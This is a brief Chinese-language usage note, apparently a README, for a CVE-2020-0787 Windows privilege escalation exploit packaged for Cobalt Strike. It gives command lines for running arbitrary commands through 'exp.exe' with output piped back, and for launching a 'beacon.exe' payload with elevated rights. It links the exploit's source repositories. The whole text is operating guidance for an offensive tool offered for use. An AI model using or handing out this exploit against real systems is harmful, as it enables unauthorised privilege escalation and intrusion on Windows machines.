严格按照命令行使用,否则会出现异常错误~
需要回显时使用(使用cmd /c执行命令输出到管道):
exp.exe "cmd /c whoami > \\\\.\\pipe\\showme " show
执行无回显的程序时:
exp.exe "C:/beacon.exe"
https://github.com/yanghaoi/CobaltStrike_CNA/tree/main/ReflectiveDllSource/CVE-2020-0787_CNA
源码修改自: https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION